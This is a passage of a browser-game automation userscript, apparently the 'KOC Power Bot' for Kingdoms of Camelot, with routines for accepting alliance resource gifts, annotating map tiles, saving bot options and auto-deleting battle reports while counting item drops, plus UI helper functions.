    t.doList = [];
    document.getElementById('pbResNone').innerHTML = '';
    Options.getResType = document.getElementById('pbResColType').value;
    t.total = {gold:0, 1:0, 2:0, 3:0, 4:0};
    for (var i=0; i<t.users.length; i++){
      if (document.getElementById('pbrchk_'+i).checked)
        t.doList.push (t.users[i]);
    }
    if (t.doList.length==0){
      document.getElementById('pbResNone').innerHTML = 'None Selected!';
      return;
    }
    t.accepting = true;
    document.getElementById('pballlist').value = 'Stop Accepting';
    document.getElementById('resDiv').innerHTML = '<DIV id=rsltDiv style="height:400px; max-height:400px; overflow-y:auto"><B>Accepting from '+ t.doList.length +' users:</b><BR></div>';    
    t.acceptNext ();
  },

    
  allDone : function (msg){
    var t = Tabs.Resources;
    msg += '<BR><BR> Total resources gained : <BR>\
           Gold: '+addCommas(t.total.gold)+'<BR>';
    for(var i=1; i<=4; i++){
        msg += t.resource[i]+': '+addCommas(t.total[i])+'<BR>';
    }
    document.getElementById('rsltDiv').innerHTML += '<BR><BR>' + msg;
    document.getElementById('pballlist').value = 'Fetch User List';
    t.accepting = false;
  },
  
    
  acceptNext : function (){
    var t = Tabs.Resources;
    var gift = t.doList.shift();
    if (gift == null){
      t.allDone ('Done accepting resources.');
      return;
    }
    var acpDiv = document.getElementById('rsltDiv');
    var curDiv = document.createElement ('div');
    acpDiv.appendChild (curDiv);
    curDiv.innerHTML = '<B>From '+ gift.name +': ';    
    var statSpan = document.createElement ('span');
    curDiv.appendChild (statSpan);
    statSpan.innerHTML = 'Accepting... ';
    t.getCourtAction (gift, gotGiftData);
        
    function gotGiftData (rslt){
//logit ("getErDone.gotGiftData ... \n"+ inspect (gift, 8, 1));
      if (!t.accepting)
        return;
      if (rslt.ok){
        var msg = rslt.gold +' gold and '+rslt.resource +' '+ t.resource[rslt.resourcetype]+'&nbsp; &nbsp; OK.';
        actionLog ('Accepted from '+gift.name+': '+ rslt.gold +' gold and '+ rslt.resource +' '+ t.resource[rslt.resourcetype]);
        statSpan.innerHTML += msg;
        t.total.gold += rslt.gold;
        t.total[rslt.resourcetype] += rslt.resource;
        t.acceptNext ();  
        return;
      }
        
      if (rslt.msg)
        msg = '<B>'+ rslt.msg + '</b>';
      else
        msg = '<SPAN class=boldRed>ERROR: '+ rslt.ajaxErr +'</span>';

      curDiv.removeChild (statSpan);
      curDiv = document.createElement ('div');
      curDiv.className = 'indent25';
      acpDiv.appendChild (curDiv);
      curDiv.innerHTML = msg;
      t.acceptNext ();  
    }
    
  },

  getMembersInfo : function (pageNo, notify) {
    var t = Tabs.Resources;
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    
    params.pageNo = pageNo;
    new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/allianceGetMembersInfo.php" + unsafeWindow.g_ajaxsuffix, {
      method: "post",
      parameters: params,
      onSuccess: function (rslt) {
        notify (rslt);
      },
      onFailure: function (rslt) {
        notify ({errMsg:'Ajax Comm Error'});
      },
    });
  },
  
  getDailyAction : function (uid, notify){
    var t = Tabs.Resources;
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    
    params.pid = uid;
    new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/viewCourt.php" + unsafeWindow.g_ajaxsuffix, {
      method: "post",
      parameters: params,
      onSuccess: function (rslt) {
        notify (rslt);
      },
      onFailure: function (rslt) {
        notify ({errMsg:'Ajax Comm Error'});
      },
    });
  },
  
  getCourtAction : function (gift, notify){
    var t = Tabs.Resources;
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    
    params.atype = Options.getResType;
    params.toid = gift.userId;
    params.givercityid = t.city.id;
    new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/courtDoAction.php" + unsafeWindow.g_ajaxsuffix, {
      method: "post",
      parameters: params,
      onSuccess: function (rslt) {
        notify (rslt);
      },
      onFailure: function (rslt) {
        notify ({errMsg:'Ajax Comm Error'});
      },
    });
  },
  
  checkDailyAction : function (userList, notify){
    var t = Tabs.Resources;
    var count = 0;
    t.getDailyAction(userList[count].userId, parseViewCourt);
    
    function parseViewCourt (rslt){
        if (!rslt.ok || rslt.errMsg)
            notify ({errMsg:'Ajax Comm Error'});
        if(rslt.dailyActionFlag == 0)
            t.users.push(userList[count]);
        t.progress(count, 'pbResUserAvailCount');
        count++;
        if(count < userList.length){
            t.getDailyAction(userList[count].userId, parseViewCourt);
        } else {
            notify();
        }
    }
  },
  
  // notify with gifts[] or: {errMsg:xxx}
  fetchUserList : function (notify){
    var t = Tabs.Resources;
    var userList = [];
    t.getMembersInfo(1, parseAlliancePage);
    
    function parseAlliancePage (rslt){
      if (!rslt.ok || rslt.errMsg)
        notify ({errMsg:'Ajax Comm Error'});
      var users = rslt.memberInfo;
      for(var k in users){
        userList.push({userId:users[k].userId, name:users[k].name, might:users[k].prestige, type:'alliance'});
      }
      t.progress(userList.length, 'pbResUserListCount');
      if(rslt.currentPage < rslt.noOfPages){
        t.getMembersInfo((rslt.currentPage+1), parseAlliancePage);
      } else {
        notify(userList);
      }
    }
    
    
  },
}



function addCommasWhole(nStr){
  nStr += '';
  x = nStr.split('.');
  x1 = x[0];
  x2 = x.length > 1 ? '.' + x[1] : '';
  var rgx = /(\d+)(\d{3})/;
  while (rgx.test(x1)) {
    x1 = x1.replace(rgx, '$1' + ',' + '$2');
  }
  return x1;
}

function encode_utf8( s ){
  return unescape( encodeURIComponent( s ) );
}

function decode_utf8( s ){
  return decodeURIComponent( escape( s ) );
}

function CdialogCancelContinue (msg, canNotify, contNotify, centerElement){
  var pop = new pbPopup ('ptcancont', 10, 10, 400,200, true, canNotify);
  if (centerElement)
    pop.centerMe(centerElement);
  else
    pop.centerMe(document.body);
  pop.getTopDiv().innerHTML = '<CENTER>KOC Power Bot</center>';
  pop.getMainDiv().innerHTML = '<TABLE class=ptTab align=center style="height: 100%"><TR align=center height=90%><TD>'+ msg +'</td></tr>\
      <TR align=center><TD><INPUT id=ptok type=submit value="OK" \> &nbsp; &nbsp; </td></tr></table>';
  document.getElementById('ptok').addEventListener ('click', function (){pop.destroy(false); if (canNotify) canNotify();}, false);
  pop.show(true);
}

function CdialogConfirm (msg, canNotify, contNotify, centerElement){
  var pop = new pbPopup ('ptcancont', 10, 10, 400,200, true, canNotify);
  if (centerElement)
    pop.centerMe(centerElement);
  else
    pop.centerMe(document.body);
  pop.getTopDiv().innerHTML = '<CENTER>KOC Power Bot</center>';
  pop.getMainDiv().innerHTML = '<TABLE class=ptTab align=center style="height: 100%"><TR align=center height=90%><TD colspan=2>'+ msg +'</td></tr>\
      <TR align=center><TD><INPUT id=pbok type=submit value="OK" \> &nbsp; &nbsp; </td><TD><INPUT id=pbcancel type=submit value="CANCEL" \> &nbsp; &nbsp; </td></tr></table>';
  document.getElementById('pbok').addEventListener ('click', function (){pop.destroy(false); if (canNotify) canNotify(this);}, false);
  document.getElementById('pbcancel').addEventListener ('click', function (){pop.destroy(false); if (canNotify) canNotify(this);}, false);
  pop.show(true);
}

function hexDump (dat){
  var i = 0;
  var s = [];
  while (i < dat.length) {
    asc = [];
    s.push (hex4(i));
    s.push (': ');
    for (var ii=0; ii<16; ii++) {
      c = dat.charCodeAt(i+ii);
      s.push (hex2(c));
      s.push (' ');
      if (c>31 && c<128)
        asc.push (dat.charAt(i+ii));
      else
        asc.push ('.');
    }
    s.push ('  ');
    s.push (asc.join(''))
    s.push ('\n');
    i += 16;
  }
  return s.join ('');
  function hex4(d){
    return hexDig(d>>12) + hexDig(d>>8) + hexDig(d>>4) + hexDig(d&15);
  }
  function hex2(d){
    return hexDig(d>>4) + hexDig(d&15);
  }
  function hexDig (d){
    hexdigs = '0123456789ABCDEF';
    return hexdigs.charAt(d&15);    
  }
}
 
// value is 0 to 1.0
function SliderBar (container, width, height, value, classPrefix, margin){
  var self = this;
  this.listener = null;
  if (value==null)
    value = 0;
  if (!margin)
    margin = parseInt(width*.05);
  this.value = value;
  if (width<20) width=20;
  if (height<5) height=5;
  if (classPrefix == null){
    classPrefix = 'slider';
    var noClass = true;
  }    
  var sliderHeight = parseInt(height/2);
  var sliderTop = parseInt(height/4);
  this.sliderWidth = width - (margin*2);
    
  this.div = document.createElement ('div');
  this.div.style.height = height +'px';
  this.div.style.width = width +'px';
  this.div.className = classPrefix +'Cont';
  if (noClass)
    this.div.style.backgroundColor='#ddd';
  
  this.slider = document.createElement ('div');
  this.slider.setAttribute ('style', 'position:relative;');
  this.slider.style.height = sliderHeight + 'px'
  this.slider.style.top = sliderTop + 'px';
  this.slider.style.width = this.sliderWidth +'px';
  this.slider.style.left = margin +'px';   /////
  this.slider.className = classPrefix +'Bar';
  this.slider.draggable = true;
  if (noClass)
    this.slider.style.backgroundColor='#fff';
  
  this.sliderL = document.createElement ('div');
  this.sliderL.setAttribute ('style', 'width:100px; height:100%; position:relative;');
  this.sliderL.className = classPrefix +'Part';
  this.sliderL.draggable = true;
  if (noClass)
    this.sliderL.style.backgroundColor='#0c0';
  
  this.knob = document.createElement ('div');
  this.knob.setAttribute ('style', 'width:3px; position:relative; left:0px; background-color:#222;');
  this.knob.style.height = height +'px';
  this.knob.style.top = (0-sliderTop) +'px';
  this.knob.className = classPrefix +'Knob';
  this.knob.draggable = true;
  this.slider.appendChild(this.sliderL);
  this.sliderL.appendChild (this.knob);
  this.div.appendChild (this.slider);
  container.appendChild (this.div);
  this.div.addEventListener('mousedown',  mouseDown, false);

  this.getValue = function (){
    return self.value;
  }

  this.setValue = function (val){   // todo: range check
    var relX = (val * self.sliderWidth);
    self.sliderL.style.width = relX + 'px';
    self.knob.style.left =  relX + 'px';
    self.value = val;
    if (self.listener)
      self.listener(self.value);
  }
  
  this.setChangeListener = function (listener){
    self.listener = listener;
  }

  function moveKnob (me){
    var relX = me.clientX - self.divLeft;
    if (relX < 0)
      relX = 0;
    if (relX > self.sliderWidth)
      relX = self.sliderWidth;
    self.knob.style.left = (relX - (self.knob.clientWidth/2) ) +'px';   // - half knob width !?!?
    self.sliderL.style.width = relX + 'px';
    self.value =  relX / self.sliderWidth; 
    if (self.listener)
      self.listener(self.value);
  }
  function doneMoving (){
    self.div.removeEventListener('mousemove', mouseMove, true);
    document.removeEventListener('mouseup', mouseUp, true);
  }
  function mouseUp (me){
    moveKnob (me);
    doneMoving();
  }
  
  function mouseDown(me){
    var e = self.slider;
    self.divLeft = 0;
    while (e.offsetParent){   // determine actual clientX
      self.divLeft += e.offsetLeft;
      e = e.offsetParent;
    }
    moveKnob (me);
    document.addEventListener('mouseup',  mouseUp, true);
    self.div.addEventListener('mousemove',  mouseMove, true);
  }
  function mouseMove(me){
    moveKnob (me);
  }
}

function pause(milliseconds) {
    var dt = new Date();
    while ((new Date()) - dt <= milliseconds) { /* Do nothing */ }
}

function CmatSimpleSound (playerUrl, container, attrs, onLoad, flashVars) {
  var self = this;
  this.player = null;
  this.volume = 100;
  this.isLoaded = false;
  this.onSwfLoaded = null;
  
  var div = document.createElement ('div');
  this.onSwfLoaded = onLoad;
  if (navigator.appName.toLowerCase().indexOf('microsoft')+1) {
    div.innerHTML = '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="'+http+'download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"><param name="movie" value="'+playerUrl+'"><param name="quality" value="high"></object>';
    this.player = div.getElementsByTagName('object')[0];
  } else {
    div.innerHTML = '<embed src="'+playerUrl+'"  bgcolor="#eeeeee" allowfullscreen=false FlashVars="'+ flashVars +'" quality="high" allowscriptaccess="always" pluginspage="'+http+'www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" ></embed>';
    this.player = div.getElementsByTagName('embed')[0].wrappedJSObject;
  }
  if (container)
    container.appendChild (div);
  else
    document.body.appendChild (div);
  for (k in attrs)
    this.player.setAttribute(k, attrs[k]);
       
  this.setVolume = function (chanNum, vol){
    if (!self.isLoaded)
      return;
    self.player.jsSetVolume (chanNum, vol);
    volume = vol;
  }
  
  this.load = function (chanNum, url, bStream, bAutoplay, bUsePolicyFile){   // loop ?
    self.player.jsLoad (chanNum, url, bStream, bAutoplay, bUsePolicyFile);
  }
  
  this.play = function (chanNum, position){
       if (this.isLoaded)
    self.player.jsPlay (chanNum, position);
  }
    
  this.stop = function (chanNum){
       if (this.isLoaded)
    self.player.jsStop (chanNum);
  }
    
  this.getStatus = function (chanNum){           // returns null if sound channel is 'empty'
   if (this.isLoaded)
    return self.player.jsGetStatus (chanNum);
  }
  
  this.debugFunc = function (msg){  // overload to use
  }
      
  this.swfDebug = function (msg){    // called by plugin
    self.debugFunc('SWF: '+ msg);
  }
  this.swfLoaded = function (){    // called by plugin when ready to go!
    self.isLoaded = true;
    self.debugFunc ('playerIsReady');
    if (self.onSwfLoaded)
      self.onSwfLoaded();
  }
  this.swfPlayComplete = function (chanNum){    // called by plugin when a sound finishes playing (overload to be notified)
  }
  this.swfLoadComplete = function (chanNum, isError){    // called by plugin when a sound finishes loading  (overload to be notified)
  }
}
    
function DoUnsafeWindow(func, execute_by_embed) {
    if(this.isChrome || execute_by_embed) {
        var scr=document.createElement('script');
        scr.innerHTML=func;
        document.body.appendChild(scr);
    } else {
        try {
            eval("unsafeWindow."+func);
        } catch (error) {
            logit("A javascript error has occurred when executing a function via DoUnsafeWindow. Error description: "+error.description);
        }
    }
}  

function GetDisplayName(){
    var DisplayName = document.getElementById('topnavDisplayName');
    if(DisplayName){
        DisplayName = DisplayName.innerHTML;
    }else{
        DisplayName = null;
    }
    return DisplayName
}

//modal_maptile((tileID),(Name),(X),(Y),(Gender+Avatar),(User),(Might),(Title),(AllianceName),(null),(tileProvinceId),(tilename),(CityState),(TileLevel),(allianceId),(tileCityId),(tileUserId),(TypeName),(misted));
//modal_maptile(453323,"Heineken4",172,622,"m6","Heineken",3758930,"60","Darkness",null,21,"city","Normal",9,2136,67677,1589067,"City",false);

//koc version-572
//modal_maptile(this,307227,"NewRetard",698,326,"m8","oftheNOOBS",42318533,"90","Darkness",null,14,"city","Normal",12,2136,26654,1550996,"City",false);return false;
function DrawLevelIcons() {
    var maptileRe = /modal_maptile.([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+),([^,]+)/;
    var mapwindow=document.getElementById('mapwindow');
    if(!mapwindow) return;
    var mapinfo=document.getElementById('mapinfodone');
    if(mapinfo) {return;};

    var ss=document.evaluate(".//a[contains(@class,'slot')]",mapwindow,null,XPathResult.ORDERED_NODE_SNAPSHOT_TYPE,null);
    var mapinfodone=false;
    for(var s=0; s<ss.snapshotLength; s++) {
        var a=ss.snapshotItem(s);
        var onclick=a.getAttribute('id');
        //alert(onclick);
        var owner='';
        if(onclick) {
         // logit(onclick);
         var tileinfo = unsafeWindow.g_mapObject.model.getTileActions(onclick)["tileClick"];
         // logit(inspect(tileinfo));
            if(tileinfo) {
                var might = parseInt(tileinfo.might);
                var alliance = parseIntNan(tileinfo.allianceId);
                var dip = getDiplomacy(alliance);
                owner = tileinfo.username;
            }
        }
        var sp=a.getElementsByTagName('span');
        if(sp.length==0) continue;

        if (!mapinfodone) { sp[0].id='mapinfodone'; mapinfodone=true; }
        spancol='#cc0';
        
        if (alliance == 'null' && tileinfo.type=="city") spancol='#33CCFF';
        if (dip == 'hostile' && tileinfo.type=="city") spancol='#FF0000';
        if (tileinfo.type!="city" &&  tileinfo.tileuserid!="null") spancol='#FF9900';
        if (tileinfo.type!="city" &&  tileinfo.tileuserid=="null") spancol='#CC0033';

        if (Options.MapShowExtra) {
            if (tileinfo.username!="null")
				sp[0].outerHTML = sp[0].outerHTML +'<div style="color:'+spancol+';font-size:11px;text-shadow: 2px 2px 2px #000;" align="left">&nbsp;&nbsp;'+owner+'</div><div style="color:'+spancol+';font-size:10px;text-shadow: 2px 2px 2px #000;" align="left">&nbsp;&nbsp;Might:'+addCommas(might)+'</div>';
        }
        if (Options.MapShowLevel && (parseIntNan(tileinfo.level) != 0)) {
			sp[0].outerHTML = sp[0].outerHTML+'<div style="color:'+spancol+';text-shadow: 2px 2px 2px #000;" align="left">&nbsp;&nbsp;'+tileinfo.level+'&nbsp;&nbsp;</div>';
		}
    }

}

function AjaxRequest2 (url, opts){
    var headers = {
        'X-Requested-With': 'XMLHttpRequest',
        'X-Prototype-Version': '1.6.1',
        'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
    };
    var ajax = null; 
    if (window.XMLHttpRequest)
      ajax=new XMLHttpRequest();
    else
      ajax=new ActiveXObject("Microsoft.XMLHTTP"); 
    if (opts.method==null || opts.method=='')
      method = 'GET';
    else
      method = opts.method.toUpperCase();  
    if (method == 'POST'){
        headers['Content-type'] = 'application/x-www-form-urlencoded; charset=UTF-8';
    } else if (method == 'GET'){
        addUrlArgs (url, opts.parameters);
    }  
    ajax.onreadystatechange = function(){
        // ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete']; states 0-4
        if (ajax.readyState==4) {
            if (ajax.status >= 200 && ajax.status < 305)
            if (opts.onSuccess) opts.onSuccess(ajax);
            else
                if (opts.onFailure) opts.onFailure(ajax);
            } else {
                if (opts.onChange) opts.onChange (ajax);
            }
    }  
    ajax.open(method, url, true); // always async!
    for (var k in headers)
      ajax.setRequestHeader (k, headers[k]);
     if (matTypeof(opts.requestHeaders)=='object')
          for (var k in opts.requestHeaders)
            ajax.setRequestHeader (k, opts.requestHeaders[k]);
    if (method == 'POST'){
        var a = [];
        for (k in opts.parameters){
              if(matTypeof(opts.parameters[k]) == 'object'){
                  for(var h in opts.parameters[k]){
                      if(matTypeof(opts.parameters[k][h]) == 'object'){
                          for(var i in opts.parameters[k][h]){
                              if(matTypeof(opts.parameters[k][h][i]) == 'object'){
                              for(var j in opts.parameters[k][h][i]){
                                  a.push (k+'['+h+']['+i+']['+j+'] ='+ opts.parameters[k][h][i][j] );
                              }
                              } else
                                  a.push (k+'['+h+']['+i+']'+' ='+ opts.parameters[k][h][i]);
                          }
                      } else
                      a.push (k+'['+h+'] ='+ opts.parameters[k][h] );
                  }
              } else
              a.push (k +'='+ opts.parameters[k] );
        }
        ajax.send (a.join ('&'));
    } else {
        ajax.send();
    }
}

function saveAttackOptions (){
  var serverID = getServerId();
  setTimeout (function (){GM_setValue ('AttackOptions_'+serverID, JSON2.stringify(AttackOptions));}, 0);
}

function readAttackOptions (){
  var serverID = getServerId();
  s = GM_getValue ('AttackOptions_'+serverID);
  if (s != null){
    opts = JSON2.parse (s);
    for (k in opts){
      if (matTypeof(opts[k]) == 'object')
        for (kk in opts[k])
          AttackOptions[k][kk] = opts[k][kk];
      else
        AttackOptions[k] = opts[k];
    }
  }
}

function saveFarmOptions() {
    var serverID = getServerId();
    setTimeout(function () {
        GM_setValue('FarmOptions_' + serverID, JSON2.stringify(FarmOptions));
    }, 0);
}

function readFarmOptions() {
    var serverID = getServerId();
    s = GM_getValue('FarmOptions_' + serverID);
    if (s != null) {
        opts = JSON2.parse(s);
        for (k in opts) {
            if (matTypeof(opts[k]) == 'object') for (kk in opts[k])
            FarmOptions[k][kk] = opts[k][kk];
            else FarmOptions[k] = opts[k];
        }
    }
}

function saveThroneOptions() {
    var serverID = getServerId();
    setTimeout(function () {
        GM_setValue('ThroneOptions_' + serverID, JSON2.stringify(ThroneOptions));
    }, 0);
}

function readThroneOptions() {
    var serverID = getServerId();
    s = GM_getValue('ThroneOptions_' + serverID);
    if (s != null) {
        opts = JSON2.parse(s);
        for (k in opts) {
            if (matTypeof(opts[k]) == 'object')
            for (kk in opts[k])
               ThroneOptions[k][kk] = opts[k][kk];
            else ThroneOptions[k] = opts[k];
        }
    }
}


 
var DeleteReports = {
    deleting : false,
    init : function(){
        var t = DeleteReports;
        //setInterval(t.startdeletereports, 2*60*1000);
        // now done in global timer
        setTimeout(t.startdeletereports, 10);
    },
    
    startdeletereports : function(){
        var t = DeleteReports;
          if(!t.deleting && (Options.DeleteMsg || Options.DeleteMsgs0 || Options.DeleteMsgs1 || Options.DeleteMsgs2 || Options.DeleteMsgs3 || Options.DeleteMsgs4 || Options.expinc)){
              t.deleting = true;
              t.fetchreport(0, t.checkreports);
          }
    },
    fetchreport : function(pageNo, callback){
        var t = DeleteReports;
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        if(pageNo > 1)
            params.pageNo = pageNo;
        new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/listReports.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            onSuccess: function (rslt) {
                callback(rslt);
            },
                onFailure: function () {
                callback();
            },
        });
    },
    faketower : function(rpId,x) {
        var t = DeleteReports;
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
      params.rid=rpId;
         new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/fetchReport.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            onSuccess: function (rslt) {
            	x.knt['cbt'] = rslt.detail.s1KCombatLv;
            	x.klv = rslt.detail.s1KLv;
            	for (i in rslt.detail.fght.s1) {
            		x.unts[i] = rslt.detail.fght.s1[i][0];
            	};
					Seed.queue_atkinc['m'+x.mid] = x;
            },
            onFailure: function (rslt) {
               
            },
         }, true);
   
   },
    checkreports : function(rslt){
        var t = DeleteReports;
        if(!rslt.ok){
            t.deleting = false;
            return;
        }
        if(rslt.arReports.length < 1){
        logit("CR stopped arreports < 1");
            t.deleting = false;
            return;
        }
        var lasttenmin = unixTime() -600;
        var reports = rslt.arReports;
        var players = rslt.arPlayerNames;
        var totalPages = rslt.totalPages;
        if (rslt.totalPages > 30)
        var totalPages = 30;
        var deletes1 = new Array();
        var deletes0 = new Array();
        for(k in reports){
        	//logit(lasttenmin+" and "+reports[k].reportUnixTime+" and it is "+(lasttenmin < Number(reports[k].reportUnixTime)));
        	var reportUnixTime = Number(reports[k].reportUnixTime);
        	if(Options.expinc) {
	        	if((reports[k].marchType==4 || reports[k].marchType==3) && (lasttenmin < reportUnixTime) && t.isMyself(reports[k].side0PlayerId) && (Options.alertConfig.lastarrtime.indexOf(reportUnixTime) == -1)) {
   	     		var x = {};
   	     		var euid = reports[k].side1PlayerId;
      	  		x.knt = {};
        			x.kLv = 1;
        			x.fromCityId = reports[k].side1CityId;
        			x.fromXCoord = reports[k].side1XCoord;
        			x.fromYCoord = reports[k].side1YCoord;
        			x.unts = {};
        			x.cnt = "unknown";
        			x.pid = reports[k].side1PlayerId;
        			x.aid = reports[k].side1AllianceId
        			x.arrivalTime = Number(reports[k].reportUnixTime);
        			x.departureTime = Number(reports[k].reportUnixTime);
        			x.marchType = reports[k].marchType;
        			x.toCityId = reports[k].side0CityId;
        			if(reports[k].side0TileType > 50){
        				x.toTileId = Cities.byID[x.toCityId].tileId;
        			} else {
						for (i in Seed.wilderness['city'+x.toCityId]){
							if(Seed.wilderness['city'+x.toCityId][i].xCoord == reports[k].side0XCoord && Seed.wilderness['city'+x.toCityId][i].yCoord == reports[k].side0YCoord) {
								x.toTileId = Seed.wilderness['city'+x.toCityId][i].tileId;
								break;
							}
      				}
					};
        			x.score = 9;
        			x.mid = Number(reports[k].reportId);
        			x.reportId = x.mid;
        		if(!Seed.players['u'+euid]) {
        			Seed.players['u'+euid] = {};
        			Seed.players['u'+euid].n = players['p'+euid];
        		};
        			new t.faketower(x.reportId,x)
        		};
        	};
        	
            if(Options.DeleteMsg){
                if((reports[k].marchType==4 || reports[k].marchType==9) && reports[k].side0PlayerId==0 && reports[k].side0TileType > 50)
                    deletes1.push(k.substr(2));
                else if(reports[k].marchType==1 && t.isMyself(reports[k].side1PlayerId))
                    deletes1.push(k.substr(2));
            }
            if (Options.DeleteMsgs0){
                if(reports[k].marchType==1 && !t.isMyself(reports[k].side1PlayerId))
                    deletes0.push(k.substr(2));
            }
            if (Options.DeleteMsgs1){
                if(reports[k].side0TileType <= 50 && reports[k].side0PlayerId==0)
                    deletes1.push(k.substr(2));

            } 
            if (Options.DeleteMsgsdf){
                if(reports[k].side0TileType==54 && reports[k].side0PlayerId==0) {
               t.checkreportforitems(k.substr(2));
                    deletes1.push(k.substr(2));
            }
            }
            if (Options.DeleteMsgs2){
				var crestrpt = false;
                for(i in CrestData) {
                    if(reports[k].side0XCoord == CrestData[i].X && reports[k].side0YCoord == CrestData[i].Y && reports[k].marchType==4 && t.isMyself(reports[k].side1PlayerId)) {
						crestrpt = true;
						break;
                    }
                }
				if (crestrpt) {
					t.checkreportforitems(k.substr(2));
					deletes1.push(k.substr(2));
				}	
            }
            if (Options.DeleteMsgs3){
                for(i in CrestData) {
               for (l in unsafeWindow.seed.allianceDiplomacies.friendlyToThem) {
                  if(reports[k].side1AllianceId == unsafeWindow.seed.allianceDiplomacies.friendlyToThem[l].allianceId)
                        deletes1.push(k.substr(2));
               }
               for (l in unsafeWindow.seed.allianceDiplomacies.friendly) {
                  if(reports[k].side1AllianceId == unsafeWindow.seed.allianceDiplomacies.friendly[l].allianceId)
                        deletes1.push(k.substr(2));
               }
                }
         }            
            if (Options.DeleteMsgs4){
                for(i in CrestData) {
					if (Options.DeleteMsgsUID != "") {
						// split string by commas
						var UIDArray = Options.DeleteMsgsUID.split(","); 
						if (UIDArray.indexOf(reports[k].side1PlayerId) != -1)
							deletes1.push(k.substr(2));
					}
				}
			}            
        }
        if(deletes1.length > 0 || deletes0.length > 0){
            t.deleteCheckedReports(deletes1, deletes0);
        } else {
            t.deleting = false;
            return;
        }
    },
    
    deleteCheckedReports : function(deletes1, deletes0){
        var t = DeleteReports;
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        params.s1rids = deletes1.join(",");
        params.s0rids = deletes0.join(",");
        params.cityrids = '';
        new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/deleteCheckedReports.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            onSuccess: function (rslt) {
                if(rslt.ok){
                    Seed.newReportCount = parseInt(Seed.newReportCount) - parseInt(deletes1.length) - parseInt(deletes0.length);
                    actionLog('Deleted: ' +parseInt(deletes1.length + deletes0.length)+' reports');
                }
                t.fetchreport(0, t.checkreports);
            },
            onFailure: function () {
            t.deleting = false;
            },
        });
    },
    
    isMyself: function(userID){
        var t = DeleteReports;
        if(!Seed.players["u"+userID])
            return false;
        if(Seed.players["u"+userID].n == Seed.player.name)
            return true;
        else
            return false;
        return false;
    },
    
    
    checkreportforitems: function(rpId) {
        var t = DeleteReports;
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
      params.rid=rpId;
         new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/fetchReport.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            onSuccess: function (rslt) {
				if (rslt.detail.winner) {
					var darkforest = false;
					if (rslt.detail.fght && rslt.detail.fght.s0 && (rslt.detail.fght.s0.m101 || rslt.detail.fght.s0.m102 || rslt.detail.fght.s0.m103 || rslt.detail.fght.s0.m104 || rslt.detail.fght.s0.m105 || rslt.detail.fght.s0.m106 || rslt.detail.fght.s0.m107 || rslt.detail.fght.s0.m108 || rslt.detail.fght.s0.m109 || rslt.detail.fght.s0.m10))
						{ darkforest = true; }
					if(rslt.detail.loot[5]) {
						var loot = rslt.detail.loot[5];
						if (matTypeof(loot) == 'object') {
							for (var z in loot) {
								if (darkforest) {
									if(AttackOptions.ItemsFound[z]) { AttackOptions.ItemsFound[z] += parseInt(loot[z]); }	
									else { AttackOptions.ItemsFound[z] = parseInt(loot[z]);}
								} else {
									if(AttackOptions.ItemsFoundCr[z]) { AttackOptions.ItemsFoundCr[z] += parseInt(loot[z]); }
									else { AttackOptions.ItemsFoundCr[z] = parseInt(loot[z]); }
								}	
							}
						}	
					}
					if (rslt.detail.throneRoomDrop) {
						var TR = rslt.detail.throneRoomDrop; 
						var z = ""+TR.type+TR.quality;
						if (darkforest) {
							if(AttackOptions.ThroneItemsFound[z]) { AttackOptions.ThroneItemsFound[z].amount += 1; }	
							else { 
								var NewObj = {};
								NewObj.type = TR.type;
								NewObj.quality = TR.quality;
								NewObj.amount = 1;
								AttackOptions.ThroneItemsFound[z] = NewObj;
							}
						} else {
							if(AttackOptions.ThroneItemsFoundCr[z]) { AttackOptions.ThroneItemsFoundCr[z].amount += 1; }	
							else { 
								var NewObj = {};
								NewObj.type = TR.type;
								NewObj.quality = TR.quality;
								NewObj.amount = 1;
								AttackOptions.ThroneItemsFoundCr[z] = NewObj;
							}
						}	
					}
					if (rslt.detail.equipmentDrop) {
						var EQ = rslt.detail.equipmentDrop; 
						var z = ""+EQ.subtype+EQ.rarity;
						if (darkforest) {
							if(AttackOptions.ChampItemsFound[z]) { AttackOptions.ChampItemsFound[z].amount += 1; }	
							else { 
								var NewObj = {};
								NewObj.type = EQ.subtype;
								NewObj.quality = EQ.rarity;
								NewObj.amount = 1;
								AttackOptions.ChampItemsFound[z] = NewObj;
							}
						} else {
							if(AttackOptions.ChampItemsFoundCr[z]) { AttackOptions.ChampItemsFoundCr[z].amount += 1; }	
							else { 
								var NewObj = {};
								NewObj.type = EQ.subtype;
								NewObj.quality = EQ.rarity;
								NewObj.amount = 1;
								AttackOptions.ChampItemsFoundCr[z] = NewObj;
							}
						}	
					}
					if (rslt.detail.lootJewel) {
						var item = rslt.detail.lootJewel;
						if (matTypeof(item) == 'object') {
							var z = item.quality;
							if (darkforest) {
								if(AttackOptions.JewelItemsFound[z]) { AttackOptions.JewelItemsFound[z] += parseInt(item.quantity); }	
								else { AttackOptions.JewelItemsFound[z] = parseInt(item.quantity);}
							} else {
